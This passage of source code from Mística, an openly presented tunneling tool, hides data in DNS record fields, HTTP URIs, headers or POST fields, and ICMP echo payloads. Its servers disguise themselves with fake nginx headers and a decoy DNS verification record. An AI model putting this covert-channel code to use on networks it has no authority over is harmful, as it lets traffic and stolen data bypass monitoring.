parameters self.logger = logger self._LOGGING_ = False if logger is None else True # ICMPclient parameters self.icmpclient = ICMPClient(self.hostname, self.request_timeout, self.name, self.logger) def checkMaxProtoSize(self,max_size): headerlen = int(Sizes.HEADER/BYTE) totalen = len(urlsafe_b64encode(b'A' * (headerlen + max_size))) self._LOGGING_ and self.logger.debug_all(f"[{self.name}] checkMaxProtoSize() headerlen:{headerlen},max_size:{max_size},totalen:{totalen}") if totalen > self.MAX_ICMP_DATA_LEN: raise BaseException(f"Total Length is {totalen} and max available for this module is {self.MAX_ICMP_DATA_LEN}. Please, reduce max_size value") def parseArguments(self, args): args = self.argparser.parse_args(args.split()) self.hostname = args.hostname[0] self.request_timeout = args.request_timeout[0] self.max_size = args.max_size[0] self.poll_delay = args.poll_delay[0] self.response_timeout = args.response_timeout[0] self.max_retries = args.max_retries[0] self.checkMaxProtoSize(self.max_size) def wrap(self,content): # make your own routine to encapsulate sotp content in dns packet (i use b64 in subdomain space) sotpDataBytes = urlsafe_b64encode(content) self._LOGGING_ and self.logger.debug_all(f"[{self.name}] wrap() data to icmp request: {str(sotpDataBytes,'utf-8')}") self.icmpclient.send_data(sotpDataBytes) raw_reply = self.icmpclient.get_data() if not raw_reply: self._LOGGING_ and self.logger.error(f"[{self.name}] wrap() get_data return None") return self._LOGGING_ and self.logger.debug_all(f"[{self.name}] wrap() recv icmp raw response: {raw_reply}") self.inbox.put(self.messageToWrapper(raw_reply)) def unwrap(self,content): data = urlsafe_b64decode(content) self._LOGGING_ and self.logger.debug_all(f"[{self.name}] unwrap() data icmp response: {data}") return data ================================================ FILE: wrapper/server/wrap_module/__init__.py ================================================ __all__ = ["http", "dns", "icmp"] ================================================ FILE: wrapper/server/wrap_module/dns.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ServerWrapper from base64 import urlsafe_b64encode,urlsafe_b64decode from dnslib import QTYPE, CLASS, RR from dnslib import DNSHeader, DNSRecord from dnslib import TXT, CNAME, MX, NS, SOA from wrapper.server.wrap_server.dnsserver import dnsserver class dnswrapper(ServerWrapper): SERVER_CLASS = dnsserver NAME = "dns" CONFIG = { "prog": NAME, "wrapserver": "dnsserver", "description": "Encodes/Decodes data in DNS queries/responses using different methods", "args": [ { "--domains": { "help": "Domain names to accept packets. (Ex: mistica.dev)", "nargs": "*", "default": ["mistica.dev"], "type": str }, "--ttl": { "help": "TTL of DNS Response", "nargs": 1, "default": [300], "type" : int }, "--queries": { "help": "Type of DNS Query (NS,CNAME,SOA,MX,TXT) not supported (A,AAAA) yet", "nargs": "*", "default": ["TXT"], "choices": ["NS","CNAME","SOA","MX","TXT"], "type": str }, "--max-size": { "help": "Maximum size in bytes of the sotp packet to be embedded in the dns packet. Not recommended change it (8 sotp_header + 37 raw_data = 45 rc4 = 60 b64 < 63 max_idna)", "nargs": 1, "default": [37], "type" : int }, "--max-retries": { "help": "Maximum number of re-synchronization retries.", "nargs": 1, "default": [5], "type": int } } ] } def __init__(self, id, qsotp, args, logger): ServerWrapper.__init__(self, id, dnswrapper.NAME, qsotp, dnswrapper.SERVER_CLASS.NAME, args, logger) self.request = [] # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def parseArguments(self, args): parsed = self.argparser.parse_args(args.split()) self.domains = parsed.domains self.ttl = parsed.ttl[0] self.queries = parsed.queries self.max_size = parsed.max_size[0] self.max_retries = parsed.max_retries[0] def extractFromSubdomain(self, qname): reqhostname = qname.idna()[:-1] for hostname in self.domains: if reqhostname.endswith(f".{hostname}"): # urlsafe_b64decode ignore '.' characters, so its okey for decode packets in multiple mode self._LOGGING_ and self.logger.debug_all(f"[{self.name}] extractFromSubdomain() extract data from query: {reqhostname}") return urlsafe_b64decode(reqhostname.replace(f".{hostname}","")) else: self._LOGGING_ and self.logger.error(f"[{self.name}] Extracting SOTP from Subdomain and not in hostname list") return None def parseQuestion(self,request): if request.q.qtype is QTYPE.NS: self._LOGGING_ and self.logger.debug(f"[{self.name}] Received a dns question with qtype NS") return self.extractFromSubdomain(request.q.qname) elif request.q.qtype is QTYPE.CNAME: self._LOGGING_ and self.logger.debug(f"[{self.name}] Received a dns question with qtype CNAME") return self.extractFromSubdomain(request.q.qname) elif request.q.qtype is QTYPE.SOA: self._LOGGING_ and self.logger.debug(f"[{self.name}] Received a dns question with qtype SOA") return self.extractFromSubdomain(request.q.qname) elif request.q.qtype is QTYPE.MX: self._LOGGING_ and self.logger.debug(f"[{self.name}] Received a dns question with qtype MX") return self.extractFromSubdomain(request.q.qname) elif request.q.qtype is QTYPE.TXT: self._LOGGING_ and self.logger.debug(f"[{self.name}] Received a dns question with qtype TXT") return self.extractFromSubdomain(request.q.qname) else: # A, AAAA, PTR for future releases self._LOGGING_ and self.logger.error(f"[{self.name}] parseQuestion() recieved a dns with invalid question type: {request.q.qtype}") return None def inHostnameList(self, request): reqhostname = request.q.qname.idna()[:-1] for hostname in self.domains: if reqhostname == hostname or reqhostname.endswith(f".{hostname}"): return True self._LOGGING_ and self.logger.error(f"[{self.name}] received dns query to {reqhostname} which is not in the hostname list") return False def inQueryList(self,request): for q in self.queries: if getattr(QTYPE,q) is request.q.qtype: return True self._LOGGING_ and self.logger.error(f"[{self.name}] received dns query {request.q.qtype} which is not in the query list {self.queries}") return False def unwrap(self, content): if not self.inHostnameList(content): return None if not self.inQueryList(content): return None self.request.append(content) return self.parseQuestion(content) def getDomainFromRequest(self, reqhostname): for hostname in self.domains: if reqhostname.endswith(f".{hostname}"): return hostname raise f"Request Hostname not found in domain list: {reqhostname}" def createNsResponse(self, data, request): dataRawEnc = urlsafe_b64encode(data) dataEnc = str(dataRawEnc, "utf-8") self._LOGGING_ and self.logger.debug_all(f"[{self.name}] createNSResponse() with sotp_data: {dataEnc}") rdomain = self.getDomainFromRequest(request.q.qname.idna()[:-1]) reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) reply.add_answer(RR(rname=request.q.qname, rtype=QTYPE.NS, rclass=CLASS.IN, ttl=self.ttl, rdata=NS(f"{dataEnc}.{rdomain}"))) return reply def createCnameResponse(self, data, request): dataRawEnc = urlsafe_b64encode(data) dataEnc = str(dataRawEnc, "utf-8") self._LOGGING_ and self.logger.debug_all(f"[{self.name}] createCnameResponse() with sotp_data: {dataEnc}") rdomain = self.getDomainFromRequest(request.q.qname.idna()[:-1]) reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) reply.add_answer(RR(rname=request.q.qname, rtype=QTYPE.CNAME, rclass=CLASS.IN, ttl=self.ttl, rdata=CNAME(f"{dataEnc}.{rdomain}"))) return reply def createSoaResponse(self, data, request): dataRawEnc = urlsafe_b64encode(data) dataEnc = str(dataRawEnc, "utf-8") self._LOGGING_ and self.logger.debug_all(f"[{self.name}] createSoaResponse() with sotp_data: {dataEnc}") rdomain = self.getDomainFromRequest(request.q.qname.idna()[:-1]) reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) reply.add_answer(RR(rname=request.q.qname, rtype=QTYPE.SOA, rclass=CLASS.IN, ttl=self.ttl, rdata=SOA(f"{dataEnc}.{rdomain}"))) return reply def createMxResponse(self, data, request): dataRawEnc = urlsafe_b64encode(data) dataEnc = str(dataRawEnc, "utf-8") self._LOGGING_ and self.logger.debug_all(f"[{self.name}] createMxResponse() with sotp_data: {dataEnc}") rdomain = self.getDomainFromRequest(request.q.qname.idna()[:-1]) reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) reply.add_answer(RR(rname=request.q.qname, rtype=QTYPE.MX, rclass=CLASS.IN, ttl=self.ttl, rdata=MX(f"{dataEnc}.{rdomain}"))) return reply def createTxtResponse(self, data, request): # I embebed sopt data in one RR in TXT Response (but you can split sotp data in multiple RR) dataRawEnc = urlsafe_b64encode(data) dataEnc = str(dataRawEnc, "utf-8") self._LOGGING_ and self.logger.debug_all(f"[{self.name}] createTxtResponse() with sotp_data: {dataEnc}") reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) reply.add_answer(RR(rname=request.q.qname, rtype=QTYPE.TXT, rclass=CLASS.IN, ttl=self.ttl, rdata=TXT(dataEnc))) return reply def generateResponse(self, data, request): if request.q.qtype is QTYPE.NS: return self.createNsResponse(data, request) elif request.q.qtype is QTYPE.CNAME: return self.createCnameResponse(data, request) elif request.q.qtype is QTYPE.SOA: return self.createSoaResponse(data, request) elif request.q.qtype is QTYPE.MX: return self.createMxResponse(data, request) elif request.q.qtype is QTYPE.TXT: return self.createTxtResponse(data, request) else: # A, AAAA, PTR for future releases self._LOGGING_ and self.logger.error(f"[{self.name}] generateResponse() invalid request qtype: {request.q.qtype}") return None def wrap(self, content): request = self.request.pop(0) reply = self.generateResponse(content,request) return reply ================================================ FILE: wrapper/server/wrap_module/http.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ServerWrapper from base64 import urlsafe_b64encode,urlsafe_b64decode from wrapper.server.wrap_server.httpserver import httpserver class httpwrapper(ServerWrapper): SERVER_CLASS = httpserver NAME = "http" CONFIG = { "prog": "http", "wrapserver": "httpserver", "description": "Encodes/Decodes data in HTTP requests/responses using different methods", "args": [ { "--method": { "help": "HTTP Method to use", "nargs": 1, "default": ["GET"], "choices": ["GET","POST"], "type": str }, "--uri": { "help": "URI Path before data message", "nargs": 1, "default": ["/"], "type": str }, "--header": { "help": "Header key for encapsulate data message", "nargs": 1, "type": str }, "--post-field": { "help": "Post Field for encapsulate data message", "nargs": 1, "type": str }, "--success-code": { "help": "HTTP Code for Success Connections. Default is 200", "nargs": 1, "default": [200], "choices": [100,101,102,200,201,202,203,204,205,206,207, 208,226,300,301,302,303,304,305,306,307,308, 400,401,402,403,404,405,406,407,408,409,410, 411,412,413,414,415,416,417,418,421,422,423, 424,426,428,429,431,500,501,502,503,504,505, 506,507,508,510,511], "type": int }, "--max-size": { "help": "Max size of the SOTP packet. Default is 10000 bytes", "nargs": 1, "default": [10000], "type": int }, "--max-retries": { "help": "Maximum number of re-synchronization retries.", "nargs": 1, "default": [5], "type": int } } ] } def __init__(self, id, qsotp, args, logger): ServerWrapper.__init__(self, id, httpwrapper.NAME, qsotp, httpwrapper.SERVER_CLASS.NAME, args,logger) # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def parseArguments(self, args): parsed = self.argparser.parse_args(args.split()) self.method = parsed.method[0] self.header = parsed.header[0] if parsed.header is not None else None self.uri = parsed.uri[0] self.post_field = parsed.post_field[0] if parsed.post_field is not None else None self.max_size = parsed.max_size[0] self.max_retries = parsed.max_retries[0] self.success_code = parsed.success_code[0] def unpackSotp(self, data): # We use base64_urlsafe_encode, change if you encode different. return urlsafe_b64decode(data) def parseFromHeaders(self, content): try: for key,value in content.items(): if key == self.header: return self.unpackSotp(value) return None except Exception: return None def parseFromURI(self, requestline): try: _,uri,_ = requestline.split(' ') sotpdata = uri.replace(self.uri,'') return self.unpackSotp(sotpdata) except Exception: return None def parseFromPostFields(self, fields): try: for field in fields.list: if field.name == self.post_field: return self.unpackSotp(field.value) return None except Exception: return None def parseGET(self, content): if self.header: return self.parseFromHeaders(content['headers']) else: return self.parseFromURI(content['requestline']) def parsePOST(self, content): if self.header: return self.parseFromHeaders(content['headers']) elif self.post_field: return self.parseFromPostFields(content['content']) else: return self.parseFromURI(content['requestline']) def unwrap(self, content): if self.method == "GET": unwrapped = self.parseGET(content) else: unwrapped = self.parsePOST(content) return unwrapped def generateResponse(self,content): return { "requestline" : "", "headers" : {}, "content" : content, "httpcode" : self.success_code } def wrap(self, content): urlSafeEncodedBytes = urlsafe_b64encode(content) urlSafeEncodedStr = str(urlSafeEncodedBytes, "utf-8") return self.generateResponse(urlSafeEncodedStr) ================================================ FILE: wrapper/server/wrap_module/icmp.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ServerWrapper from base64 import urlsafe_b64encode,urlsafe_b64decode from wrapper.server.wrap_server.icmpserver import icmpserver class icmpwrapper(ServerWrapper): SERVER_CLASS = icmpserver NAME = "icmp" CONFIG = { "prog": "icmp", "wrapserver": "icmpserver", "description": "Encodes/Decodes data in ICMP echo requests/responses on data section", "args": [ { "--max-size": { "help": "Max size of the SOTP packet. Default is 1024 bytes", "nargs": 1, "default": [1024], "type": int }, "--max-retries": { "help": "Maximum number of re-synchronization retries.", "nargs": 1, "default": [5], "type": int } } ] } def __init__(self, id, qsotp, args, logger): ServerWrapper.__init__(self, id, icmpwrapper.NAME, qsotp, icmpwrapper.SERVER_CLASS.NAME, args, logger) # Base args self.max_size = None self.max_retries = None # Parsing args self.argparser = self.generateArgParser() self.parseArguments(args) # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def parseArguments(self, args): parsed = self.argparser.parse_args(args.split()) self.max_size = parsed.max_size[0] self.max_retries = parsed.max_retries[0] def unpackSotp(self, data): try: # We use base64_urlsafe_encode, change if you encode different. return urlsafe_b64decode(data) except Exception as e: self.logger.exception(f"[{self.name}] Exception at unpackSotp: {e}") return def unwrap(self, content): self._LOGGING_ and self.logger.debug_all(f"[{self.name}] unwrap data: {content}") return self.unpackSotp(content) def wrap(self, content): self._LOGGING_ and self.logger.debug_all(f"[{self.name}] wrap data: {content}") urlSafeEncodedBytes = urlsafe_b64encode(content) return urlSafeEncodedBytes ================================================ FILE: wrapper/server/wrap_server/__init__.py ================================================ __all__ = ["httpserver", "dnsserver", "icmpserver"] ================================================ FILE: wrapper/server/wrap_server/dnsserver.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from threading import Thread from queue import Queue,Empty from utils.messaging import Message, MessageType, SignalType from dnslib import DNSRecord, DNSHeader, QTYPE, CLASS, RR, TXT from argparse import ArgumentParser from utils.prompt import Prompt from socketserver import ThreadingUDPServer from socketserver import BaseRequestHandler class CustomBaseRequestHandler(BaseRequestHandler): def genDefaultError(self, request): reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) reply.add_answer(RR(rname=request.q.qname, rtype=QTYPE.TXT, rclass=CLASS.IN, ttl=self.server.ttl, rdata=TXT("google-site-verification=qt5d8b2252742f0bcab14623d9714bee9ba7e82da3"))) return reply def waitForResponse(self,q, request): response = None try: r = q.get(True,self.server.timeout) response = r.content except (Empty,Exception): response = self.genDefaultError(request) self.server._LOGGING_ and self.server.logger.error(f"[{self.server.sname}] expired timeout in waitForResponse()") finally: return response def doMulticast(self,q,data): for wrap in self.server.wrappers: msg = Message(self.server.sname, self.server.sid, wrap.name, wrap.id, MessageType.STREAM, data, q) wrap.inbox.put(msg) def returnResponse(self,reply): self.send_data(reply.pack()) def processRequest(self,request): q = Queue() self.doMulticast(q,request) response = self.waitForResponse(q,request) self.returnResponse(response) def get_data(self): raise NotImplementedError def send_data(self, data): raise NotImplementedError def handle(self): try: data = self.get_data() request = DNSRecord.parse(data) self.processRequest(request) except Exception as e: self.server._LOGGING_ and self.server.logger.exception(f"[{self.server.sname}] Exception on handle: {e}") class UDPRequestHandler(CustomBaseRequestHandler): def get_data(self): return self.request[0] def send_data(self, data): return self.request[1].sendto(data, self.client_address) class WrapDNSServer(ThreadingUDPServer): def __init__(self, server_address, RequestHandlerClass, wrappers, sname, sid, ttl, timeout, logger): ThreadingUDPServer.__init__(self, server_address, RequestHandlerClass) self.wrappers = wrappers self.sname = sname self.sid = sid self.ttl = ttl self.timeout = timeout # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True class dnsserver(Thread): NAME = "dnsserver" CONFIG = { "prog": NAME, "description": "Simple DNS server", "args": [ { "--hostname": { "help": "Hostname or IP address. Default is localhost", "nargs": 1, "default": ["localhost"], "type": str }, "--port": { "help": "Port where the server will listen. Default is 5355", "nargs": 1, "default": [5355], "type" : int }, "--ttl": { "help": "TTL of DNS Responses", "nargs": 1, "default": [300], "type" : int }, "--timeout": { "help": "Max time in seconds that the server will wait for the SOTP layer to reply, before returning an error. Default is 3", "nargs": 1, "default": [3], "type" : int } } ] } def __init__(self, id, args, logger): Thread.__init__(self) self.wrappers = [] self.id = id self.server = None self.name = type(self).__name__ self.inbox = Queue() # Argparsing self.argparser = self.generateArgParser() self.parseArguments(args) # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def parseArguments(self, args): parsed = self.argparser.parse_args(args.split()) self.hostname = parsed.hostname[0] self.port = parsed.port[0] self.ttl = parsed.ttl[0] self.timeout = parsed.timeout[0] def generateArgParser(self): config = self.CONFIG parser = ArgumentParser(prog=config["prog"],description=config["description"]) for arg in config["args"]: for name,field in arg.items(): opts = {} for key,value in field.items(): opts[key] = value parser.add_argument(name, **opts) return parser def SignalThread(self): while True: msg = self.inbox.get() if msg.isTerminateMessage(): self.server.shutdown() break def addWrapModule(self, encWrapper): self.wrappers.append(encWrapper) def removeWrapModule(self, encWrapper): self.wrappers.remove(encWrapper) def run(self): self._LOGGING_ and self.logger.info(f"[{self.name}] Server started. Passing messages...") self.server = WrapDNSServer( (self.hostname, self.port), UDPRequestHandler, self.wrappers, self.name, self.id, self.ttl, self.timeout, self.logger) st = Thread(target=self.SignalThread) st.start() self.server.serve_forever() self.server.server_close() ================================================ FILE: wrapper/server/wrap_server/httpserver.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from threading import Thread from queue import Queue, Empty from utils.messaging import Message, MessageType, SignalType from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from argparse import ArgumentParser from utils.prompt import Prompt from cgi import FieldStorage from ssl import wrap_socket class WrapHTTPServer(ThreadingHTTPServer): def __init__(self, server_address, RequestHandlerClass, wrappers, sname, sid, timeout, error_file, error_code, logger): ThreadingHTTPServer.__init__(self, server_address, RequestHandlerClass) self.wrappers = wrappers self.sname = sname self.sid = sid self.timeout = timeout self.error_file = error_file self.error_code = error_code # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True class httpserverHandler(BaseHTTPRequestHandler): # Overide log function to disable verbose outputs. def log_message(self, format, *args): return def getDefaultErrorView(self): content = '408 Request Timeout

408 Request Timeout

nginx/1.5.10
' return self.packRequest("", {"Server": "nginx 1.5.10"}, content, 408) def readErrorFile(self): try: with open(self.server.error_file, "r") as errfile: content = errfile.read() return self.packRequest("", {"Server": "nginx 1.13.1"}, content, self.server.error_code) except Exception: return self.getDefaultErrorView() def generateErrorView(self): if self.server.error_file and self.server.error_code: return self.readErrorFile() else: return self.getDefaultErrorView() # Send the request message to all wrappers (just the right wrapper will process and make an answer). def doMulticast(self, q, data): for wrap in self.server.wrappers: msg = Message(self.server.sname, self.server.sid, wrap.name, wrap.id, MessageType.STREAM, data, q) wrap.inbox.put(msg) def waitForResponse(self, q): response = None try: r = q.get(True, self.server.timeout) response = r.content except (Empty, Exception): response = self.generateErrorView() finally: return response def packRequest(self, requestline, headers, content=None, httpcode=200): return { "requestline": requestline, "headers": headers, "content": content, "httpcode": httpcode } def returnResponse(self, res): self.protocol_version = "HTTP/1.1" if 'Server' in res['headers']: # Server header must be 'werbserver+space+version' versions = res['headers']['Server'].split(' ') self.server_version = versions[0] self.sys_version = versions[1] del res['headers']['Server'] else: self.server_version = "nginx" self.sys_version = "1.5.10" self.send_response(res['httpcode']) for key, value in res['headers'].items(): self.send_header(key, value) if res['content'] == "": self.end_headers() elif 'Content-Length' not in res['headers']: self.send_header("Content-Length", len(res['content'])) self.end_headers() self.wfile.write(bytes(res['content'], "utf8")) else: self.end_headers() self.wfile.write(bytes(res['content'], "utf8")) # Generate a Queue (for recieve responses *thread), send request to wrappers, # and wait for response from only one and return to HTTP Client. def processRequest(self, request): try: q = Queue() self.doMulticast(q, request) response = self.waitForResponse(q) self.returnResponse(response) except Exception as e: self.server.logger.exception( f"[{self.server.sname}] Exception in handle: {e}") def do_GET(self): req = self.packRequest(self.requestline, self.headers) self.processRequest(req) def do_POST(self): form = FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD': 'POST', 'CONTENT_TYPE': self.headers['Content-Type'], }) req = self.packRequest(self.requestline, self.headers, form) self.processRequest(req) class httpserver(Thread, BaseHTTPRequestHandler): NAME = "httpserver" CONFIG = { "prog": NAME, "description": "Simple HTTP Server", "args": [ { "--hostname": { "help": "Hostname or IP address. Default is localhost", "nargs": 1, "default": ["localhost"], "type": str }, "--port": { "help": "Port where the server will listen. Default is 8080", "nargs": 1, "default": [8080], "type": int }, "--timeout": { "help": "Max time, in seconds, that the server will wait for the SOTP layer to reply, before returning an error. Default is 5", "nargs": 1, "default": [5], "type": int }, "--error-file": { "help": "HTML File for custom error page when timeout expires.", "nargs": 1, "type": str }, "--error-code": { "help": "HTTP Code for custom http code when timeout expires.", "nargs": 1, "type": int }, "--ssl": { "help": "Flag to indicate that SSL will be used", "action": "store_true" }, "--ssl-cert": { "help": "Path of the ssl certificate file. You can generate one with the following command: 'openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes'", "nargs": 1, "type": str } } ] } def __init__(self, id, args, logger): Thread.__init__(self) self.wrappers = [] self.id = id self.server = None self.name = type(self).__name__ self.inbox = Queue() # Argparsing self.argparser = self.generateArgParser() self.parseArguments(args) # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def generateArgParser(self): config = self.CONFIG parser = ArgumentParser(prog=config["prog"],description=config["description"]) for arg in config["args"]: for name,field in arg.items(): opts = {} for key,value in field.items(): opts[key] = value parser.add_argument(name, **opts) return parser def parseArguments(self, args): parsed = self.argparser.parse_args(args.split()) self.hostname = parsed.hostname[0] self.port = parsed.port[0] self.timeout = parsed.timeout[0] self.error_file = parsed.error_file[0] if parsed.error_file else None self.error_code = parsed.error_code[0] if parsed.error_code else None self.ssl = parsed.ssl self.ssl_cert = parsed.ssl_cert[0] if parsed.ssl_cert else None def SignalThread(self): while True: msg = self.inbox.get() if msg.isTerminateMessage(): self.server.shutdown() break def addWrapModule(self, encWrapper): self.wrappers.append(encWrapper) def removeWrapModule(self, encWrapper): self.wrappers.remove(encWrapper) def run(self): self._LOGGING_ and self.logger.info(f"[{self.name}] Server started. Passing messages...") self.server = WrapHTTPServer((self.hostname, self.port), httpserverHandler,self.wrappers,self.name, self.id, self.timeout, self.error_file, self.error_code, self.logger) # Checking if SSL should be used if self.ssl and self.ssl_cert: self.server.socket = wrap_socket(self.server.socket,certfile=self.ssl_cert, server_side=True) st = Thread(target=self.SignalThread) st.start() self.server.serve_forever() self.server.server_close() ================================================ FILE: wrapper/server/wrap_server/icmpserver.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from threading import Thread from queue import Queue,Empty from utils.messaging import Message, MessageType, SignalType from argparse import ArgumentParser from json import load from utils.prompt import Prompt import socket, select from utils.icmp import Packet class icmpserver(Thread): NAME = "icmpserver" CONFIG = { "prog": "icmpserver", "description": "Simple ICMP Server", "args": [ { "--iface": { "help": "Network interface to bind (Ex: eth0, wlp2s0, etc)", "nargs": 1, "type": str, "required": 1 }, "--timeout": { "help": "Max time, in seconds, that the server will wait for the SOTP layer to reply, before returning an error. Default is 5", "nargs": 1, "default": [5], "type" : int }, "--request-timeout": { "help": "Max time, in seconds, that the server will wait blocked on raw socket", "nargs": 1, "default": [3], "type" : int } } ] } def __init__(self, id, args, logger): Thread.__init__(self) self.wrappers = [] self.id = id self.server = None self.name = type(self).__name__ self.inbox = Queue() self.shutdown = False # Server parameters self.iface = None self.timeout = None self.request_timeout = None # Argparsing self.argparser = self.generateArgParser() self.parseArguments(args) # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True # Open Raw Socket and binding to a Network Interface self.mysocket = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP) self.mysocket.setsockopt(socket.SOL_SOCKET,25,str(self.iface+'\0').encode('utf-8')) def parseArguments(self, args): parsed = self.argparser.parse_args(args.split()) self.iface = parsed.iface[0] self.timeout = parsed.timeout[0] self.request_timeout = parsed.request_timeout[0] def generateArgParser(self): config = self.CONFIG parser = ArgumentParser(prog=config["prog"],description=config["description"]) for arg in config["args"]: for name,field in arg.items(): opts = {} for key,value in field.items(): opts[key] = value parser.add_argument(name, **opts) return parser def SignalThread(self): while True: msg = self.inbox.get() if msg.isTerminateMessage(): self.shutdown = True break def addWrapModule(self, encWrapper): self.wrappers.append(encWrapper) def removeWrapModule(self, encWrapper): self.wrappers.remove(encWrapper) def doMulticast(self,q,data): for wrap in self.wrappers: msg = Message(self.name, self.id, wrap.name, wrap.id, MessageType.STREAM, data, q) wrap.inbox.put(msg) def waitForResponse(self, q, request): response = None try: r = q.get(True,self.timeout) response = r.content except (Empty,Exception): response = request.data self._LOGGING_ and self.logger.error(f"[{self.name}] queue timeout expired answering: {response}") finally: return response def returnResponse(self, request, data, addr): response = Packet() response.pack_response(request, data) raw_response = response.toBytes() self.mysocket.sendto(raw_response, (addr[0], 1)) self.mysocket.setblocking(0) def processRequest(self, raw_data, addr): try: request = Packet() request.unpack(raw_data) q = Queue() self._LOGGING_ and self.logger.debug_all(f"[{self.name}] icmp request data: {request.data}") self.doMulticast(q,request.data) response = self.waitForResponse(q, request) self._LOGGING_ and self.logger.debug_all(f"[{self.name}] icmp response data: {response}") if not response: return self.returnResponse(request,response,addr) except Exception as e: self._LOGGING_ and self.logger.exception(f"[{self.name}] exception in processRequest: {e}") return def run(self): self._LOGGING_ and self.logger.info(f"[{self.name}] Server started. Passing messages...") st = Thread(target=self.SignalThread) st.start() while not self.shutdown: ready = select.select([self.mysocket], [], [], self.request_timeout) if ready[0]: rec_packet, addr = self.mysocket.recvfrom(65535) self._LOGGING_ and self.logger.debug_all(f"[{self.name}] recv raw data: {rec_packet}") # Handle every request in separate thread it = Thread(target=self.processRequest, args=(rec_packet,addr,)) it.start() self._LOGGING_ and self.logger.debug_all(f"[{self.name}] Terminated")